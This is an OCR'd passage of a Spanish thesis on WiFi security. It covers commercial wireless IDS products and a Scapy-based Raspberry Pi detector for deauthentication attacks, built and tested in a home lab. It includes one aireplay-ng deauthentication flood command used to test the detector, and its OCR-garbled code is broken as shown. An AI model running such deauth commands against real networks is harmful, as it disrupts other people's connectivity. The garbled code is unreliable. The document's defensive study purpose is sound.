Hasta ahora hemos analizado algunas de las herramientas Open Source que nos aportan a nivel
domeéstico funcionalidades de tipo monitorizacion y también capacidades de IDS e IPS. A nivel
comercial también existen soluciones para empresas que requieran un mayor nivel de seguridad
en sus redes inalambricas. Analicemos algunas de estas soluciones:

9.8.1.- AirMagnet Enterprise

Es una solucién de la compafia NetAlly (www.netally.com), y se define como un sistema de
seguridad escalable que permite a las compafias mitigar todo tipo de amenazas de seguridad
en las redes WiFi, auditando todos los activos. Realiza escaneos de la red en modo full-time,
diagnostica y remedia los problemas detectados en remoto, provee de actualizaciones
automaticas y con una facil integracion con la infraestructura existente. Se basa en el analisis de
la red y desde un equipo donde debe estar instalado el software que gestiona y centraliza la
informacion.

e Es capaz de generar informes de cumplimiento de seguridad de diferentes normativas
(PCI, SOX, 1S0O) asi como de rendimiento de la red:
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PCIDSS Violaions Per Section

PCI DSS Violating Compliant Devices Per Section

| W Viclsting Devices
H :

T ot Devices

llustracion 69 AirMagnet Informes

Provee de un dashboard para analizar los principales problemas detectados en la red:

@ Security Status
7 VIP security issues

w56 Critical security issues.
+1... Urgent security issues

E.D Rogue Device Status
20 Active Rogue APs detected

28 Rogue devices traced & 0 blo.
1 Activa Monilored devices dete.

Q Compliance Status
16 Devices in compliance

193 Violating devices

208 Devices in tolal

[#) Performance Status
i 0VIP performance issues
I 6Critical parformance issues
1+ 85 Urgent performance issues.

L8 VIP Device Status
2 Active VIP devices (2 APs, 0
0lnactve VIP devices (0 APs,
7 VIP issues(? Secunty, 0 Perl

Problem Devices Status.
19 Inactive valid APs detected
0AP down alarms
0 Davices wilh score higher than

Top Security Alarm Types

1100000

gatias 02200)
T m SO A or et 49 et [205500)
S Sposed A ssbres deteced [05]

3 m Rome by MAC st

R
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e

llustracion 70 AirMagnet Dashboard

B o AP bt 10001 2

o Deteccion de posibles interferencias:
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>
T T )
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4 Non-802.11 interfering source detected
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=
llustracion 71 AirMagnet Interferencias
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e Posee una amplia cantidad de amenazas detectadas y la capacidad de alertar y mitigar
dichas amenazas. En el manual de wusuario (https://www.netally.com/wp-
content/uploads/2019/10/WFA_UserGuide.pdf) se puede leer a partir del apartado
“Policy” todas las amenazas que es capaz de gestionar, donde se explica en qué consiste
la amenaza y la manera de alertar y mitigarla:

e AP con encriptacion deshabilitada

e Cliente con encriptacion deshabilitada

o Dispositivos usando autenticacion Open

e Atagues de denegacion de servicio

e Deteccion de servidor DHCP falso

e AP con configuracién por defecto

e Y muchos mas...
Se trata de una solucién comercial muy completa que aporta informacion y solucion muy util a
la hora de encarar los principales aspectos de seguridad en las redes inaldmbricas, permitiendo

al personal de IT centrarse en otro tipo de tareas.

9.8.2.- Extreme AirDefense

Se trata de un sistema IPS que permite gestionar, monitorizar y proteger una red WiFi. Se basa
en multiples sensores que captan la informacion de la red, no sélo la red WiFi, sino también otro
tipo de redes de corto alcance como puede ser Bluetooth. La informacién es procesada en un
appliance (hardware o virtual), el cual puede ser escalado en varios servidores. Los sensores
también son capaces de procesar la informacion para enviar s6lo lo necesario al appliance,
evitando asi inundar la red con el envio de datos. Un ejemplo de esquema de instalacion seria
el siguiente (obtenido de la documentacion oficial):

Full-ime Sensor Dedicated Client Access Dedicated Client Access
AP
2
r 1 13
] |
| 1 1]
e

Dedicated Cllerrl Access
Full time Se
Dedicated Cherl Access ime Sensor

AirDefense
NX9600

llustracion 72 Extreme AirDefense Arquitectura
Estas serian algunas de sus capacidades:

e Analiza y detecta comportamientos anémalos en la red.

e Permite personalizar las reglas o politicas para poder actuar en consecuencia a los
posibles ataques detectados.

e Mantiene el histérico de la informacion para poder llevar a cabo tareas de analisis
forense.

e Tiene capacidad de detectar y anular AP falsos, asi como de detectar en un plano la
ubicacion de los mismos.
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e Generacion de informes y tratamiento de informacién para el cumplimiento regulatorios
de diversas normativas.
e Alto nivel de granularidad de la informacién recabada para su posterior analisis.

9.8.3.- RFProtect

Es la solucion comercializada por Aruba (https://www.arubanetworks.com/) para evitar ataques
de denegacion de servicio, ataques Man-in-the-middle y mitigar amenazas de tipo “Over the air”.
En el caso de contar con infraestructura propia de Aruba, no seria necesario adquirir sensores,
donde los propios AP de esta marca pueden actuar como AP 0 como sensores para analizar la
red. Entre sus caracteristicas podemos sefalar:

e Analiza la red de manera constante, mantiene histdrico de datos para su tratamiento
forense y evita el acceso a la red de dispositivos no deseados.

e Basandose en las firmas de localizacion y la clasificacion de los clientes, los puntos de
acceso de Aruba eliminan las peticiones ilegales y generan alertas para notificar a los
administradores de un posible ataque.

e Al detectar ataques Man-in-the-middle, dispara mecanismos de defensa para contener el
atague y prevenir la corrupcion o pérdida de datos.

e Gestion de politicas de seguridad.

e Es capaz de detener el trafico inalambrico que vaya destinado a la red cableada y que
pueda ser originado por falsos AP, evitando asi una brecha de seguridad en la red
cableada.

e Aligual que los otros productos analizados, también posee la capacidad de generaciéon
de informes y la adaptacion de los mismos para analizar el cumplimiento regulatorio de
normas de seguridad.

Como podemos ver, existen diversas soluciones comerciales para poder aplicar en redes
empresariales y dotar de mayor capacidad de respuesta ante posibles ataques, obtener
informacion de lo ocurrido mediante el historico de informacién recabada y generacion de
informes, tanto de la propia salud de la red como a nivel de cumplimiento regulatorio de
normativas de seguridad. De la misma manera que estos sistemas de intrusién estan muy
integrados en las empresas para las redes cableadas, igual de importante es aplicarlo a las redes
inalambricas.

Por supuesto este tipo de medidas no sélo deben quedar implantadas en las empresas, sino
también en los hogares, mas alun cuando estos se han convertido hoy en dia en pequefas
oficinas debido a la situacion de vivimos con el COVID.
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10.- Analisis y desarrollo de alertas y mitigacion de
atagues

Una vez realizada la prospeccién tecnologica de herramientas existentes en el mercado, tanto
Open Source como de pago, para dotar de mayor seguridad y control en las redes WiFi, en este
apartado se realizara un ejemplo practico de un software que detecte tramas de desautenticacion
dentro de una red Wifi, asi como las peticiones y respuestas de asociacion y autenticacion. La
idea es poder instalar este software en un hardware liviano (en una Raspberry Pi) y tenerlo
corriendo en nuestro entorno WiFi. La finalidad de este software es meramente académica, pero
con una ampliacién en su desarrollo, se podria convertir en una herramienta funcional que facilite
la deteccidn de ataques con envio de notificaciones moviles (via Telegram por ejemplo).

10.1- Esquema y configuracion del entorno

Para poder realizar las diferentes pruebas en un escenario lo mas real posible, se ha montado la
siguiente arquitectura de red:

e Detector. Equipo son software para deteccién de ataques (software realizado para este
propésito: detector.py). Raspberry Pi 2 con sistema operativo Raspbian, antena WiFi
ALFA Atheros AR9271 y conectada al router principal via cable ethernet (para poder
conectarnos via ssh).

o Router principal. Se ha utilizado como switch gracias a sus puertos ethernet (es el router
del hogar con acceso al proveedor de internet).

e APTEST. Punto de acceso creado en los laboratorios anteriores (OpenWRT) con SSID:
APTEST configurado con WPA2/PSK.

e Atacante. Equipo portétil atacante con sistema operativo Linux LUbuntu y paquete
aircrack-ng.

e Victima. Ipad 2 que sera el cliente utilizado para conectarse al AP APTEST y que hara
de victima de los ataques.

e Equipo de control. Equipo portatil con sistema operativo Kali Linux para realizar la
conexioén a los equipos de deteccion y AP.

En la siguiente imagen podemos ver el esquema que se ha configurado para llevar a cabo las
pruebas:
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llustracion 73 Esquema escenario practico

Vamos a ver la configuracién realizada en los elementos principales.

o Punto de acceso APTEST. Se trata del equipo utilizado en los laboratorios realizados en este
trabajo, donde simplemente lo hemos configurado para que utilice WPA2/PSK. Como hemos
dicho, estara conectado via cable ethernet al router principal:

uci set wireless.@wifi-iface[0].encryption=psk2
uci set wireless.@wifi-iface[0].key="UOC2020TFM"
uci commit wireless

wifi

OpenWirt

Wireless Overview

: Generic 802.11bgn TR
4 . Restart Sce Add
_ Al Channel: 11 (2.462 GHz) | Bitrate: 54 Mbit/s estar | |
SSID: APTEST | Mode: Master . . o
r Disabl Edit Remov
all -52 dBm BSSID: 74:DA:38:6A:FC:EF | Encryption: WPA2 PSK (CCMP) save | emove |

Associated Stations

Network MAC-Address Host Signal / RX Rate / TX Rate
Noise
@ " 00:26:5E:8E:01:6F  fdc9:f177:dcfe:0:f4fa:7738:deBa:c233 — 48.0 Moils, 20 MHz |W|
Master "APTEST 126:5E:8E:01: deteslitdta:/fbidedar 52dBm | 54.0 Mbit/s, 20 MHz L

(wlan0)

Save & Apply | v | Save |

Powered by LuCl openwrt-19.07 branch (git-20.247.75781-0d0ab01) / OpenWrt 19.07.4 r11208-ce6496d796
llustracion 74 Configuracion APTEST con WPA2/PSK

e Equipo atacante. Se ha aprovechado un antiguo portétil con antena WiFi incorporaday al que
se le ha instalado la suite aircrack-ng:

| $ sudo apt install aircrack-ng

70



o Equipo detector. Se ha configurado una Raspberry Pi 2 (igual que la utilizada para el punto
de acceso OpenWRT). Tendra conectada la antena WiFi Atheros (la cual se utilizard para
esnifar la red en modo monitor). También estara conectada via cable ethernet al router
principal (para poder conectarnos via ssh). Para su instalacion y configuracion se han llevado
los siguientes pasos:

# Descarga de la imagen Raspbian
https://downloads.raspberrypi.org/raspios lite armhf/images/raspios lite armhf-2020-08-
24/2020-08-20-raspios-buster-armhf-lite.zip

# Grabarla en una tarjeta sd:
S sudo dd bs=1M if=2020-08-20-raspios-buster-armhf-lite.img of=/dev/sda status=progress

# Insertar la tarjeta en la Raspberry Pi y arrancarla. Estard conectada via cable ethernet
al router principal. Configuramos una IP estédtica para conectarnos por ssh. Editamos el
fichero /etc/dhcpdc.conf:

interface eth0

static ip address=192.168.0.10/24

static routers=192.168.0.1

static domain name servers=192.168.0.1 8.8.8.8

Instalacién de pre-requisitos para instalar scapy:

curl https://bootstrap.pypa.io/get-pip.py -0 get-pip.py
sudo python get-pip.py

sudo apt-get install python-setuptools

O 0 0

Instalacién de Scapy

git clone https://github.com/secdev/scapy.git
cd scapy

sudo python setup.py install

O 0 U

Instalacién de netaddr para detectar el fabricante en funcidén de la MAC
sudo pip install netaddr

o e

# Importante cambiar las password que viene por defecto
$ passwd

Con esto ya tenemos en entorno preparado y configurado. Ahora pasaremos al desarrollo de la
herramienta que nos servira para detectar posibles ataques en la red.

10.2- Desarrollo de detector.py

La idea de este desarrollo es por un lado estudiar la herramienta Scapy para la deteccion y
manipulacién de paquetes de red, permitiendo una mejor comprension de la parte tedrica vista
en este trabajo, y por otro lado la implementacion de un software en el lenguaje Python (2.7) y la
integracion con Scapy para esnifar tramas de red WiFi.

Veamos primero qué es Scapy, segun la definicion de la Wikipedia:

“Scapy es una herramienta de manipulacion de paquetes para redes de computadoras,
originalmente escrita en Python por Philippe Biondi. Puede falsificar o decodificar paquetes,
enviarlos por cable, capturarlos y hacer coincidir solicitudes y respuestas”

Se puede utilizar tanto en modo consola interactiva, como integrado a modo libreria en Python,
lo cual permite una gran potencia de uso para realizar cualquier herramienta de manipulacion
red.
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Los principales retos que se han querido abordar en este desarrollo han sido:

Analizar los paquetes de red esnifando la red WiFi y detectar tramas de desautenticacion,
permitiendo alertar de un posible ataque.

Conseguir que detecte un cambio de canal para poder seguir trabajando en caso de que el
AP moadifique su canal de emision.

Analizar también otro tipo de tramas, como las que se generan en la asociacion y
autenticacion entre cliente y AP, detectando de este modo nuevos clientes conectados.
Obtener el fabricante de los clientes que se conectan al AP a través de su direcciéon MAC.

Tras implementar el desarrollo y ejecutarlo en el equipo que hemos denominado “Detector”, se
han realizado una serie de pruebas para comprobar que es capaz de funcionar de manera
adecuada y detectar las siguientes casuisticas:

Detectar ataques de desautenticacion tipo broadcast.

Detectar ataques de desautenticacion dirigida a un cliente en concreto.

Detectar asociaciones y autenticaciones entre cliente y AP

Detectar cambio de canal y configurar la interfaz en modo monitor en el nuevo canal.

Toda esta informacion es mostrada por pantalla con diferentes colores, diferenciando los
mensajes de informacion, de alerta o de error. Como hemos comentado al principio, la finalidad
de este desarrollo es meramente académica, por lo que de cara a realizar una herramienta 100%
funcional, se destacarian las siguientes mejoras:

Escritura de los mensajes en logs del sistema para su posterior analisis.

Notificacién mévil via API de Telegram con un bot.

Arranque en modo setrvicio para que, en caso de reinicio del dispositivo, arranque de manera
automatica.

A continuacion, se muestra un ejemplo de ejecucion donde se aprecian las diferentes casuisticas
comentadas:
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Inicio de la aplicacion y configuracion de las

interfaces en modo monitor y managed.

Configuracion del canal.
Deteccion de un nuevo cliente y obtencion del
fabricante.

Deteccion de ataque tipo broadcast.

l:l Deteccion de cambio de canal y configuracion al mismo.

llustracion 75 Eemplo de ejecucion detector.py

Para poder llevar a cabo este software se ha realizado un estudio de Scapy y sus principales
virtudes, siguiendo la lectura del libro: “Python Scapy Dot11” del autor Yago Fernandez Hansen.
Dicho libro incluye muchos ejemplos que permiten entender el funcionamiento de esta
herramienta y que han servido como inspiracién para realizar este desarrollo.

Comencemos a analizar las principales partes del codigo desarrollado (se incluye el codigo
completo en el Anexo 1):

e Definicién de variables:
iwifi_main="wlane"
iwifi_mon="mono1"
iwifi_managed="wlanMan"
iwifi_hw="phyo"
BSSID="74:DA:38:6A:FC:EF"

intervalo=5

fecha_ataque_detectado = time.time()

check_canal=60
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Es necesario configurar ciertas variables, como son:

e El nombre de la interfaz wifi (el nombre que recibe la antena WiFi Atheros al conectarla a la
Raspberry Pi): iwifi_main

o El nombre de la interfaz virtual (VIF) que crearemos en modo monitor: iwifi_mon

e El nombre de la interfaz virtual (VIF) que crearemos en modo managed (necesaria para
analizar el canal de la red): iwifi_managed

o El nombre de la interfaz hardware, la cual se puede comprobar con “iw list”; iwifi_hw

e BSSID de nuestra red wifi: BSSID

¢ Intervalo de tiempo que queremos que pase entre una comprobacién de deautenticacion y
otra: intervalo

e Intervalo de tiempo en el que queremos realizar la comprobacion de cambio de canal:
check_canal

e Ejecucidn principal:
if __name__ == "_ _main__"
if os.geteuid():

sys.exit("ERROR: Iniciar el programa como root o sudo")
config iwifi_managed()
canal_actual=detecta_canal_wifi()

config_iwifi_mon()

config canal(canal_actual)

hilo_canal=Process(target=analiza_canal, args=(canal_actual,))

hilo_canal.start()

signal.signal(signal.SIGINT, finaliza_proceso)

sniff(iface=iwifi mon,prn=analiza paquetes,count=0,1filter= pkt:Dotl1l in pkt)

En la ejecucion principal, revisamos primero que se ejecutan con permisos de root (sudo), ya que
se lanzan comandos que requieren de dichos privilegios. Luego realizamos la configuracion
inicial, para ello llamamos a la funcién que se encarga de configurar la interfaz virtual en modo
managed (config_iwifi_managed), se obtiene el canal actual de nuestra red (detecta_canal_wifi),
se configura la interfaz virtual en modo monitor (config_iwifi_mon) que se encargara de esnifar la
red y configuramos el canal (config_canal). Una vez realizada esta configuracion, lanzamos en
un hilo secundario la funcion que se encarga de analizar si hay cambio de canal (analiza_canal).
También establecemos la deteccion de sefial de fin (CTRL + c¢) para finalizar todos los hilos y no
dejar ningun proceso abierto (finaliza_proceso). Por Gltimo, lanzamos el sniffer para detectar los
paquetes de tipo 802.11 (Dotll en Scapy). Para ello se le pasa la interfaz en modo monitor
(iwifi_mon), la funcion que hara la funcion de parseo de paquetes (analiza_paquetes), numero
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de paquetes a capturar (infinitos al indicar 0), y el filtro realizado con Ifilter, donde se le pasa
como funcién tipo lambda para obtener los paquetes 802.11 (Dotll), consiguiendo de esta
manera un mejor rendimiento en el tratamiento de informacion.

Las funciones encargadas de realizar la configuracion de las interfaces se basan en los
siguientes comandos:

o config_iwifi_mon

baja_interfaz = 'ifconfig down >/dev/null 2>&1"' %(iwifi_main)

crea_vif_mon = 'iw phy interface add type monitor' %(iwifi_hw,iwifi_mon)

levanta_vif mon = "ifconfig up >/dev/null 2>&1"' % (iwifi_mon)

Como vemos, requiere bajar previamente la interfaz principal.

e config_iwifi_managed
baja_interfaz = 'ifconfig down >/dev/null 2>&1' %(iwifi_main)

crea_vif_man = 'iw phy interface add type managed' %(iwifi_hw,iwifi_managed)

levanta_vif man = '"ifconfig up >/dev/null 2>&1"' % (iwifi_managed)

Antes de realizar esta configuracion, se comprueba si estan ya creadas previamente.

La deteccion de canal se basa en el comando “iwlist scanning”, donde filtrando por el BSSID de
nuestra red, podemos obtener el canal. Es importante comprobar que la interfaz en modo
managed esté levantada correctamente, ya que es la que se utiliza para este escaneo:

o detecta_canal_wifi

levanta_interfaz_managed = 'ifconfig up' %(iwifi_managed)
try:
os.system(levanta_interfaz_managed)
except:
print bcolors.FAIL + "[ ] Error levantando la interfaz managed: " %(str(datetime.datetime.tod
ay()),iwifi_managed) + bcolors.ENDC
comando_iwlist = "iwlist scanning | grep -al | grep Channel | cut -d '
2" %(iwifi_managed,BSSID)
process = subprocess.Popen(comando_iwlist, stdout=subprocess.PIPE, stderr=
process.wait()
output = process.communicate()
canal = output[@].rstrip('\n")
if canal:
print bcolors.WARNING + "[ ] Ha habido un problema al detectar el canal." %(str(datetime.datetim
e.today())) + bcolors.ENDC

else:

print bcolors.OKGREEN + "[ ] Detectado canal AP: " %(str(datetime.datetime.today()),canal) + b

colors.ENDC

return canal

Para configurar el canal, hacemos uso de “iw dev set channel’, pero previamente hay que bajar
la interfaz managed:
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e config_canal

baja_interfaz_managed "ifconfig %s down' %(iwifi_managed)

cambia_canal_interfaz 'iw dev %s set channel %s >/dev/null 2>&1' % (iwifi_mon,nuevo_canal)
levanta_interfaz_managed = 'ifconfig %s up' %(iwifi_managed)
try:
os.system(baja_interfaz_managed)
os.system(cambia_canal_interfaz)
os.system(levanta_interfaz_managed)
except:

print bcolors.FAIL + "[ %s ] Error estableciendo el canal %s en la interfaz %s." %(str(datetime.dat

etime.today()),nuevo canal,iwifi mon) + bcolors.ENDC

Para analizar el cambio de canal, la funcién es lanzada en un hilo secundario, donde comprobara
cada 60 segundos (el tiempo que indiguemos en la variable check canal) si la red esta
configurada en un canal diferente y si cambia, configuraré el nuevo canal en la interfaz en modo
monitor:

e analiza_canal

canal_actual = canal

while True:

time.sleep(check_canal)

print bcolors.OKBLUE + "[ %s ] Analizamos Canal" %(str(datetime.datetime.today())) + bcolors.EN

nuevo_canal = detecta_canal_wifi()

if ((nuevo_canal != "") and (canal_actual != nuevo_canal)):

config_canal(nuevo_canal)
canal_actual = nuevo_canal
else:
print bcolors.OKBLUE + "[ %s ] No hay cambio de canal. Canal actual: %s" %(str(datetime.dat
etime.today()),canal_actual) + bcolors.ENDC
except KeyboardInterrupt:

break

Por ultimo, la funcion méas importante que trabaja con los paquetes esnifados (analiza_paquetes),
ird comprobando las capas de los paquetes (pkt.haslayer) para diferenciar entre las siguientes
tramas de gestion:

e Tramas de desautenticacion (DotllDeauth). Estas tramas pueden tener diversas
razones, a nosotros nos interesa la de tipo: class3-from-nonass (trama de clase 3 recibida
desde una estacion no asociada). En funcién del campo addrl podemos saber si se trata
de un ataque de tipo broadcast (“FF:FF:FF:FF:FF:FF”) o de tipo dirigido (coincidiendo
este campo con el BSSID del AP).

e Tramas de peticidén de asociacion (Dot11AssoReq).

e Tramas de autenticacion (Dot11Auth).
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e Tramas de respuesta de asociacion (Dot11AssoResp).

Vamos obteniendo los valores de los campos addrl, addr2 y addr3, de manera que podamos
identificar las direcciones de cliente y AP, y quedarnos s6lo con las que correspondan el BSSID
de nuestro AP.

Dado que los atagques de desautenticacién envian una gran cantidad de mensajes, sélo se
muestran si han pasado 5 segundos (o lo que indiguemos en la variable intervalo) desde el ultimo
mensaje detectado.

El atacante en este caso envia dos tipos de ataque: tipo broadcast y tipo dirigido. Para enviar el
ataque tipo broadcast, desde el equipo atacante (el cual ya ha configurado su interfaz en modo
monitor y ha establecido el canal adecuado) se lanzaria:

| sudo aireplay-ng -0 0 -a 74:DA:38:6A:FC:EF monO --ignore-negative-one

Y para enviar el ataque dirigido, simplemente afiadiremos la opcion -c con la MAC del cliente al
gue gueremos desautenticar.

Segun el tipo de trama, se informa por pantalla con un mensaje identificando lo sucedido, asi
como dando informacion del fabricante del cliente en funcion de su direccion MAC.

e analiza_paquetes

analiza_paquetes(pkt):
fecha_ataque_detectado,intervalo

fecha=datetime.datetime.today()

if pkt.haslayer(Dotl1Deauth):

if (pkt.sprintf("%Dotl1Deauth.reason%").startswith('class3-from-
nonass') time.time()>(fecha_ataque_detectado + intervalo)):
fecha_ataque_detectado = time.time()
if (pkt.addrl.upper()=="FF:FF:FF:FF:FF:FF"):
print bcolors.FAIL + "[ 1 iii ATENCION !!! Ataque detectado tipo Broadcast:
> Cliente afectado: " %(str(fecha),str(pkt.addrl),str(pkt.addr2)) + bcolors.ENDC
else:
if (pkt.addrl==pkt.addr3): cliente=pkt.addr2
else: cliente=pkt.addrl

if (pkt.addr3.upper()==BSSID):
print bcolors.FAIL + "[ 1 iii ATENCION !!! Ataque detectado tipo Dirigido a clie
nte. MAC AP: --> Cliente afectado: " %(str(fecha),str(pkt.addr3),str(cliente)) + bcolors.ENDC
elif pkt.haslayer(DotllAssoReq):
cliente=pkt.addr2
ap=pkt.info
bssid=pkt.addrl

fabricante=obtiene_fabricante(str(pkt.addr2))




if (bssid.upper()==BSSID):

print bcolors.OKGREEN + "[ %s ] Peticion de asociacion. Cliente: %s, AP: %

ricante: %(str(fecha),str(cliente),str(ap),str(bssid),fabricante) + bcolors.ENDC

elif pkt.haslayer(Dotl1Auth):

dirl=pkt.addril

dir2=pkt.addr2

bssid=pkt.addr3

if (dirl==bssid and bssid.upper()==BSSID):
fabricante=obtiene_fabricante(str(pkt.addr2))
print bcolors.OKGREEN + "[ %s ] Autenticacion AP -

> Cliente. Cliente: %s, BSSID: %s, Fabricante: %(str(fecha),str(dir2),str(bssid),fabricante) + bcol

ors.ENDC

> AP.

NDC

else:
fabricante=obtiene_fabricante(str(pkt.addrl))
if (bssid.upper()==BSSID):
print bcolors.OKGREEN + "[ %s ] Autenticacion Cliente -

Cliente: %s, BSSID: Fabricante: %s" %(str(fecha),str(dirl),str(bssid),fabricante) + bcolors.E

elif pkt.haslayer(Dotl1lAssoResp):

cliente=pkt.addrl
bssid=pkt.addr2

fabricante=obtiene_fabricante(str(pkt.addrl))

if (bssid.upper()==BSSID):

o

print bcolors.WARNING + "[ %s ] Respuesta Asociacion. Cliente: %s, BSSID: %s, Fabricante: %

s" %(str(fecha),str(cliente),str(bssid),fabricante) + bcolors.ENDC

Estas serian a modo resumen las principales caracteristicas, el codigo completo viene en el
Anexo |. Como reto personal, me gustaria realizar las mejoras indicadas en este desarrollo y
publicarlo en github para que pueda resultar Gtil a otros estudiantes.

10.3- Consejos y buenas practicas

Como ya hemos podido ver durante el desarrollo de este trabajo, existen herramientas ya
construidas o que podemos realizar nosotros mismos que permiten tener un mayor control de las
redes WiFi y dotar de mayor seguridad el entorno. Pero estas herramientas deben ir
acompafadas de ciertos aspectos basicos y que no debemos olvidar:

Utilizar los protocolos de seguridad mas fiables y robustos.

Actualizar el firmware de todos los dispositivos conectados en la red, de lo contrario, por

muchas medidas que podamos poner, estaremos dejando una puerta trasera para

cualquier atacante.

Utilizar una comunicacion segura cada vez que nos conectemos a redes WiFi utilizando

por ejemplo una VPN.

Realizar un cambio de contrasefia peridédico de nuestro punto de acceso.

Realizar una medicion del alcance de nuestra sefal WiFi, y atenuarla lo suficiente para

gue nos podamos conectar sin extralimitar el alcance fuera de nuestro hogar u oficina.
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Estar atentos a posibles mensajes engafiosos utilizados mediante ingenieria social y que
traten de robarnos informacion sensible.
No conectarnos a redes desconocidas y mucho menos realizar operaciones con datos

sensibles.
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11.- Conclusién

Tras realizar un estudio de los diferentes estandares y protocolos de seguridad utilizados durante
los ultimos afios en las redes WiFi, sus diferentes vulnerabilidades y formas de ataque, y la
mejora continua en la que se ve envuelta esta tecnologia, podemos llegar a la conclusion que se
trata de un sistema que debe seguir mejorando en cuanto a seguridad se refiere. El alcanzar un
alto nivel de seguridad conlleva la aplicacion de importantes medidas de control, sobre todo
cuando hablamos de redes corporativas, y llegado el caso de no aplicarlas, podriamos ser
victimas de ataques efectivos que dejarian nuestros datos privados en un mal lugar.

Por ello es tan importante el trabajo de investigacion que han ido realizando tanto a nivel
organizativo en la Wi-Fi Alliance, como de grupos independientes que tratan de encontrar los
resquicios de vulnerabilidad que pueda presentar esta tecnologia, con la intencion de ir
mejorando constantemente su seguridad.

También es crucial la concienciacion de los usuarios a la hora de conectarse a las redes WiFi,
ya que su comodidad suele en muchas ocasiones dejar atrds un uso responsable y seguro.

Como ya hemos comentado antes, tan importante es el uso de herramientas que ayuden en la
seguridad de la red como seguir una serie de consejos basicos de uso, y este posiblemente sigue
siendo el punto débil. Hoy en dia existen muchas redes que siguen utilizando WEP o WPA, como
podemos ver en el siguiente grafico obtenido de la fuente: https://wigle.net/stats

Wireless Encryption

06 {0.00%)

llustracion 76 Estadistica de protocolos de seguridad WiFi

En los ultimo 20 afios ha habido una importante evolucion en el cambio de esta tecnologia y en
SuU USO:

WiFi Encryption Over Time
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llustracion 77 Sistema de encriptacion WiFi en los Ultimos 20 afios

Y esta mejora debe continuar este camino evolutivo tecnoldgico y también de concienciacion de
los usuarios, facilitando en la medida de los posible la adaptacion a los niveles de seguridad mas
Optimos.
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Glosario

AES-128: Advanced Encryption Standard de 128 Bits

AP: Access Point

ARP: Address Resolution Protocol

BSS: Basic Service Set

BSSID: Basic Service Set Identifier

CCMP: Counter-Mode/Cipher Block Chaining Message Authentication Code Protocol
CNSA: Commercial National Security Algorithm

CSMAJ/CA: Carrier Sense Multiple Access with Collision Avoidance. Protocolo de control
de acceso a redes de bajo nivel que permite que multiples estaciones utilicen un mismo
medio de transmision

DDP: Device Provisioning Protocol

Dragonfly: Sistema tipo handshake definido en https://tools.ietf.org/html/rfc7664

DS: Distribution System

EAP: Extensible Authentication Protocol

EAPOL: EAP over LANs

ESS: Extended Service Set

GCMP: Galois/Counter Mode Protocol

GTC: Generic Token Card

GTK: Groupwise Transient Key)

HMAC-MD5: Hash-based Message Authentication Code with Message-Digest Algorithm
HMAC-SHAL: Hash-based Message Authentication Code with Secure Hash Algorithm 1
IBSS: Independent Basic Service Set

IDS: Intrusion Detection System

IE: Information Element

IEEE: Institute of Electrical and Electronics Engineers

I0T: Internet of Things

IPS: Intrusion Prevention System

MD5: Message-Digest algorithm

MIC: Message Integrity Code

MIMO: Multiple input - Multiple output. Permite el uso simultaneo de distintos radios,
antenas y canales.

MSCHAPV2: Microsoft version of the Challenge-Handshake Authentication Protocol v2.
MSK: Master Session Key

MU-MIMO: Multi-User MIMO. Permite realizar transmisién de flujos de datos simultanea
a varios dispositivos.

NIC: Network interface card

NIDS: Network Intrusion Detection System

NSA: National Security Agency

OpenWrt: firmware basado en una distribucion de Linux empotrada en dispositivos tales
como routers personales.

OSI: Open System Interconnection. Modelo para los protocolos de red.

OTP: One-Time Password

81



AN NI NI N Y U U N N NN

AN NI NI NN SN

ANERN

OWE: Opportunistic Wireless Encryption

PBKDF2: Password-Based Key Derivation Function 2

PEAP: Protected EAP

PFM: Protected Management Frames

PMK: Pairwise Master Key

PSK: Pre-shared key. Clave compartida.

PTK: Pairwise Transient Key

RADIUS: Remote Authentication Dial-In User Service

RSN: Robust Security Network

SAE: Simultaneous Authentication of Equals

Salt: En criptografia, la sal (en inglés, salt) comprende bits aleatorios que se usan como
una de las entradas en una funcién derivadora de claves. La otra entrada es
habitualmente una contrasefa.

SSID: Service Set Identifier

STA: Station

TKIP: Temporal Key Integrity Protocol

TLS: Transport Layer Security

TSC: TKIP Sequence Counter

TTLS: Tunneled TLS

TWT: Target Wake Time. Permite a un AP definir un tiempo especifico o un conjunto de
tiempos para que las estaciones individuales accedan al medio, mejorando de este
modo el consumo energético de los dispositivos.

WDS: Wireless Distribution System

WLAN: Wireless Local Area Networks

WPS: Wi-Fi Protected Setup
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Anexo |

Cadigo de la aplicacion desarrollada para la deteccion de atagues de tipo desautenticacion
(detector.py).

from scapy.all import *

import time,datetime,sys,o0s,subprocess,signal
from netaddr import *

from netaddr.core import NotRegisteredError

from multiprocessing import Process
iwifi_main="wlane"

iwifi_mon="mono1"
iwifi_managed="wlanMan"
iwifi_hw="phyo"
BSSID="74:DA:38:6A:FC:EF"
intervalo=5

fecha_ataque_detectado = time.time()
check_canal=60

bcolors:

HEADER = '\@33[95m’
OKBLUE = '\033[94m"'
OKCYAN = '\@33[96m'
OKGREEN = '\@33[92m'
WARNING = '\@33[93m'
FAIL = "\@33[91m’
ENDC = '\@33[om'

BOLD = '\@33[1m'
UNDERLINE = '\@33[4m'

config iwifi_mon():
print bcolors.OKBLUE + "[ ] Configurando interfaz en modo monitor..." %(str(datetime.datetime
.today()),iwifi_mon) + bcolors.ENDC
if os.path.isdir("/sys/class/net/" + iwifi_mon):
baja_interfaz = 'ifconfig down >/dev/null 2>&1"' %(iwifi_main)
crea_vif mon = 'iw phy interface add type monitor' %(iwifi_hw,iwifi_mon)

levanta_vif mon = 'ifconfig up >/dev/null 2>&1"' % (iwifi_mon)




os.system(baja_interfaz)
os.system(crea_vif_mon)
os.system(levanta_vif_mon)
print bcolors.OKBLUE + "[ %s ] Configurada interfaz VIF en modo monitor" %(str(datetime.dat
etime.today())) + bcolors.ENDC
except:
print bcolors.FAIL + "[ %s ] Error configurando la interfaz %s en modo monitor" %(str(datet
ime.datetime.today()),iwifi_mon) + bcolors.ENDC
ell'ser
print bcolors.OKCYAN + "[ %s ] La interfaz monitor ya estaba configurada." %(str(datetime.datet
ime.today())) + bcolors.ENDC

def config iwifi_managed():
print bcolors.OKBLUE + "[ %s ] Configurando interfaz %s en modo managed..." %(str(datetime.datetime
.today()),iwifi_managed) + bcolors.ENDC
if not os.path.isdir("/sys/class/net/" + iwifi_managed):
baja_interfaz = 'ifconfig %s down >/dev/null 2>&1' %(iwifi_main)
crea_vif man = 'iw phy %s interface add %s type managed' %(iwifi_hw,iwifi_managed)
levanta_vif_man = 'ifconfig %s up >/dev/null 2>&1' % (iwifi_managed)
try:
os.system(baja_interfaz)
os.system(crea_vif_man)
os.system(levanta_vif_man)

print bcolors.OKBLUE + "[ %s ] Configurada interfaz VIF en modo managed" %(str(datetime.dat

